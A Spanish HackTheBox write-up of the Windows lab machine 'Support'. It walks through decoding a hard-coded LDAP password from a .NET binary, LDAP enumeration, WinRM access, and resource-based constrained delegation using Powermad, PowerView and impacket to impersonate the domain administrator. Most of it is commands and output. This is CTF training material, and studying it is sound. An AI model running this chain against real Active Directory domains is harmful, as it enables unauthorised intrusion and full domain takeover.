Support es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Support 10.129.25.4 a /etc/hosts como support.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
nmap -sV -sC -oA enumeration/nmap1 -Pn 10.129.25.4 Nmap scan report for support.htb (10.129.25.4) Host is up (0.046s latency). Not shown: 989 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-07-30 19:18:13Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: -14s | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required | smb2-time: | date: 2022-07-30T19:18:20 |_ start_date: N/A |
Vemos varios puertos interesantes así que vamos a ir enumerando los mismos a ver que conseguimos.
Enumeración
Revisamos el servicio smb y podemos obtener el listado de directorios sin necesidad de disponer de credenciales:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ smbclient -L \\\\10.129.25.4 -N Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share support-tools Disk support staff tools SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.129.25.4 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available |
Revisamos el directorio support-tools y encontramos varios zip y exe así que procedemos a descargar los ficheros zip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ smbclient \\\\10.129.25.4\\support-tools Password for [WORKGROUP\asdf]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Wed Jul 20 17:01:06 2022 .. D 0 Sat May 28 11:18:25 2022 7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 11:19:19 2022 npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 11:19:55 2022 putty.exe A 1273576 Sat May 28 11:20:06 2022 SysinternalsSuite.zip A 48102161 Sat May 28 11:19:31 2022 UserInfo.exe.zip A 277499 Wed Jul 20 17:01:07 2022 windirstat1_1_2_setup.exe A 79171 Sat May 28 11:20:17 2022 WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 11:19:43 2022 4026367 blocks of size 4096. 850826 blocks available smb: \> get npp.8.4.1.portable.x64.zip getting file \npp.8.4.1.portable.x64.zip of size 5439245 as npp.8.4.1.portable.x64.zip (1345,1 KiloBytes/sec) (average 1481,0 KiloBytes/sec) smb: \> get UserInfo.exe.zip getting file \SysinternalsSuite.zip of size 48102161 as SysinternalsSuite.zip getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (702,1 KiloBytes/sec) (average 1429,8 KiloBytes/sec) |
Encontramos un fichero UserInfo.exe muy interesante en el interior del zip UserInfo.exe.zip así que nos levantamos una vm con windows y dnspy para analizar el ejecutable con detenimiento y encontramos varias cosas muy interesantes.
Vemos una clave cifrada y la key de la misma, y además vemos el método utilizado para descifrarla así que vamos a crear un script en python que realice el mismo proceso para obtener la clave
Así que generamos el script
1 2 3 4 5 6 7 8 9 10 11 12 |
import base64 enc_pass="0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E" key=b"armando" data=base64.b64decode(enc_pass) data2=[] for i in range(len(data)): data2.append(chr(data[i] ^ key[i % len(key)] ^ 223)) print(''.join(data2)) |
Y ejecutamos para obtener la contraseña
1 2 |
$ python3 convert.py nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz |
Hacemos una enumeración de usuarios de ldap con el siguiente comando
1 |
$ ldapsearch -x -H ldap://support.htb -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "CN=Users,DC=support,DC=htb" | tee enumeration/ldapsearch_2.log |
Y encontramos una contraseña en el resultado
1 |
Ironside47pleasure40Watchful |
Con la contraseña en mano verificamos con crackmapexec para asegurarnos de que la clave es correcta
1 2 3 |
$ cme winrm 10.129.25.4 -u support -p 'Ironside47pleasure40Watchful' -d support.htb WINRM 10.129.25.4 5985 10.129.25.4 [*] http://10.129.25.4:5985/wsman WINRM 10.129.25.4 5985 10.129.25.4 [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!) |
Y tenemos que el usuario support es válido con las credenciales obtenidas así que vamos a utilizar evil-winrm para acceder a la máquina.
1 2 3 4 5 6 7 8 9 10 11 12 |
$ evil-winrm -i 10.129.25.4 -u support -p Ironside47pleasure40Watchful Evil-WinRM shell v3.4 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\support\Documents> whoami support\support |
Obteniendo la flag de user
Una vez dentro nos vamos al escritorio del usuario para obtener la primera flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
*Evil-WinRM* PS C:\Users\support\Documents> cd ..\desktop *Evil-WinRM* PS C:\Users\support\desktop> ls Directory: C:\Users\support\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 7/30/2022 1:28 PM 34 user.txt *Evil-WinRM* PS C:\Users\support\desktop> cat user.txt exxxxxxxxxxxxxxxxxxxxxxxxxxxxx8 *Evil-WinRM* PS C:\Users\support\desktop> |
Escalado de privilegios
Después de dar varias vueltas por la máquina recordamos el puerto de kerberos y que el usuario puede crear tickets así que vamos a utilizar el mismo para generar un ticket con el cual poder escalar privilegios al usuario administrator y nos ayudaremos del siguiente post donde explica como realizar el ataque
Así que revisaremos la variable de entorno path para conocer las rutas configuradas en el sistema
1 2 |
*Evil-WinRM* PS C:\Users\support\AppData\Local\Microsoft\WindowsApps\PowerSploit> echo $Env:PSModulePath C:\Users\support\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules |
Y cargaremos los exploits de PowerSploit y Powermad necesarios para llevar a cabo el ataque.
Así que importaremos los mismos en la máquina
1 2 |
*Evil-WinRM* PS C:\Users\support\Documents\WindowsPowerShell\Modules> Import-Module PowerSploit *Evil-WinRM* PS C:\Users\support\Documents\WindowsPowerShell\Modules\Powermad> Import-Module $PWD\Powermad.ps1 |
Así que en primer lugar obtendremos los objetos del dominio
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
*Evil-WinRM* PS C:\Users\support\Documents\WindowsPowerShell\Modules> Get-DomainObject -Identity "dc=support,dc=htb" -Domain support.htb msds-isdomainfor : CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=support,DC=htb lockoutobservationwindow : -18000000000 iscriticalsystemobject : True maxpwdage : -9223372036854775808 msds-alluserstrustquota : 1000 distinguishedname : DC=support,DC=htb objectclass : {top, domain, domainDNS} pwdproperties : 1 gplink : [LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=support,DC=htb;0] name : support wellknownobjects : {B:32:6227F0AF1FC2410D8E3BB10615BB5B0F:CN=NTDS Quotas,DC=support,DC=htb, B:32:F4BE92A4C777485E878E9421D53087DB:CN=Microsoft,CN=Program Data,DC=support,DC=htb, B:32:09460C08AE1E4A4EA0F64AEE7DAA1E5A:CN=Program Data,DC=support,DC=htb, B:32:22B70C67D56E4EFB91E9300FCA3DC1AA:CN=ForeignSecurityPrincipals,DC=support,DC=htb...} serverstate : 1 nextrid : 1000 objectsid : S-1-5-21-1677581083-3380853377-188903654 msds-behavior-version : 7 fsmoroleowner : CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=support,DC=htb repluptodatevector : {2, 0, 0, 0...} uascompat : 0 dsasignature : {1, 0, 0, 0...} ridmanagerreference : CN=RID Manager$,CN=System,DC=support,DC=htb ntmixeddomain : 0 whenchanged : 7/30/2022 8:27:51 PM msds-perusertrusttombstonesquota : 10 instancetype : 5 lockoutthreshold : 0 objectguid : 553cd9a3-86c4-4d64-9e85-5146a98c868e auditingpolicy : {0, 1} msds-perusertrustquota : 1 systemflags : -1946157056 objectcategory : CN=Domain-DNS,CN=Schema,CN=Configuration,DC=support,DC=htb dscorepropagationdata : 1/1/1601 12:00:00 AM otherwellknownobjects : {B:32:683A24E2E8164BD3AF86AC3C2CF3F981:CN=Keys,DC=support,DC=htb, B:32:1EB93889E40C45DF9F0C64D23BBB6237:CN=Managed Service Accounts,DC=support,DC=htb} creationtime : 133036864716747574 whencreated : 5/28/2022 11:01:46 AM minpwdlength : 7 msds-nctype : 0 pwdhistorylength : 24 dc : support msds-masteredby : CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=support,DC=htb usncreated : 4099 subrefs : {DC=ForestDnsZones,DC=support,DC=htb, DC=DomainDnsZones,DC=support,DC=htb, CN=Configuration,DC=support,DC=htb} msds-expirepasswordsonsmartcardonlyaccounts : True masteredby : CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=support,DC=htb lockoutduration : -18000000000 usnchanged : 86045 modifiedcountatlastprom : 0 modifiedcount : 1 forcelogoff : -9223372036854775808 ms-ds-machineaccountquota : 10 minpwdage : -864000000000 |
Y comprobaremos el valor del atributo msds-allowedtoactonbehalfofotheridentity
1 2 3 4 5 |
*Evil-WinRM* PS C:\Users\support\Documents\WindowsPowerShell\Modules> Get-NetComputer dc | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity name msds-allowedtoactonbehalfofotheridentity ---- ---------------------------------------- DC |
El siguiente paso será crear una cuenta fake01 con la password 123456
1 2 3 4 5 6 |
*Evil-WinRM* PS C:\Users\support\Documents\WindowsPowerShell\Modules\Powermad> New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose Verbose: [+] Domain Controller = dc.support.htb Verbose: [+] Domain = support.htb Verbose: [+] SAMAccountName = FAKE01$ Verbose: [+] Distinguished Name = CN=FAKE01,CN=Computers,DC=support,DC=htb [+] Machine account FAKE01 added |
Y necesitaremos obtener el SID del usuario así que obtenemos el mismo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
*Evil-WinRM* PS C:\Users\support\Documents\WindowsPowerShell\Modules> Get-DomainComputer fake01 pwdlastset : 7/31/2022 12:38:01 AM logoncount : 0 badpasswordtime : 12/31/1600 4:00:00 PM distinguishedname : CN=FAKE01,CN=Computers,DC=support,DC=htb objectclass : {top, person, organizationalPerson, user...} name : FAKE01 objectsid : S-1-5-21-1677581083-3380853377-188903654-5601 samaccountname : FAKE01$ localpolicyflags : 0 codepage : 0 samaccounttype : MACHINE_ACCOUNT accountexpires : NEVER countrycode : 0 whenchanged : 7/31/2022 7:38:01 AM instancetype : 4 usncreated : 86181 objectguid : 2f7130f9-dfff-43d8-bea7-f9127bfa54bf lastlogon : 12/31/1600 4:00:00 PM lastlogoff : 12/31/1600 4:00:00 PM objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=support,DC=htb dscorepropagationdata : 1/1/1601 12:00:00 AM serviceprincipalname : {RestrictedKrbHost/FAKE01, HOST/FAKE01, RestrictedKrbHost/FAKE01.support.htb, HOST/FAKE01.support.htb} ms-ds-creatorsid : {1, 5, 0, 0...} badpwdcount : 0 cn : FAKE01 useraccountcontrol : WORKSTATION_TRUST_ACCOUNT whencreated : 7/31/2022 7:38:01 AM primarygroupid : 515 iscriticalsystemobject : False usnchanged : 86183 dnshostname : FAKE01.support.htb |
El siguiente paso será generar los objetos de seguridad necesarios para llevar a cabo la operación
1 2 3 |
*Evil-WinRM* PS C:\Users\support\Documents\WindowsPowerShell\Modules> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1677581083-3380853377-188903654-5601)" *Evil-WinRM* PS C:\Users\support\Documents\WindowsPowerShell\Modules> $SDBytes = New-Object byte[] ($SD.BinaryLength) *Evil-WinRM* PS C:\Users\support\Documents\WindowsPowerShell\Modules> $SD.GetBinaryForm($SDBytes, 0) |
Y utilizaremos el valor generado en los anteriores comandos para establecer un valor al atributo msds-allowedtoactonbehalfofotheridentity
1 2 3 4 5 6 |
*Evil-WinRM* PS C:\Users\support\Documents\WindowsPowerShell\Modules> Get-DomainComputer dc| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose Verbose: [Get-DomainSearcher] search base: LDAP://DC=support,DC=htb Verbose: [Get-DomainObject] Extracted domain 'support.htb' from 'CN=DC,OU=Domain Controllers,DC=support,DC=htb' Verbose: [Get-DomainSearcher] search base: LDAP://DC=support,DC=htb Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=DC,OU=Domain Controllers,DC=support,DC=htb))) Verbose: [Set-DomainObject] Setting 'msds-allowedtoactonbehalfofotheridentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 27 219 253 99 129 186 131 201 230 112 66 11 225 21 0 0' for object 'DC$' |
El siguiente paso será generar el ticket de kerberos y utilizarlo para acceder como el usuario administrator, podríamos utilizar Rubeus, aunque por comodidad, en nuestro caso utilizamos las herramientas de impacket.
Generaremos en primer lugar el ticket
1 2 3 4 5 6 7 8 9 10 |
$ python3 getST.py support.htb/fake01 -dc-ip dc.support.htb -impersonate administrator -spn www/dc.support.htb Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation Password: [-] CCache file is not found. Skipping... [*] Getting TGT for user [*] Impersonating administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Saving ticket in administrator.ccache |
Guardamos el fichero ccache generado en una variable
1 |
$ export KRB5CCNAME=administrator.ccache |
Y accedemos con wmiexec
1 2 3 4 5 6 7 8 |
$ python3 wmiexec.py support.htb/administrator@dc.support.htb -no-pass -k Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>whoami support\administrator |
Obteniendo la flag de root
Una vez dentro con el usuario administrator vamos al escritorio del usuario para obtener la flag
1 2 3 4 |
C:\Windows\system32>type c:\users\administrator\desktop\root.txt fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxc C:\Windows\system32> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace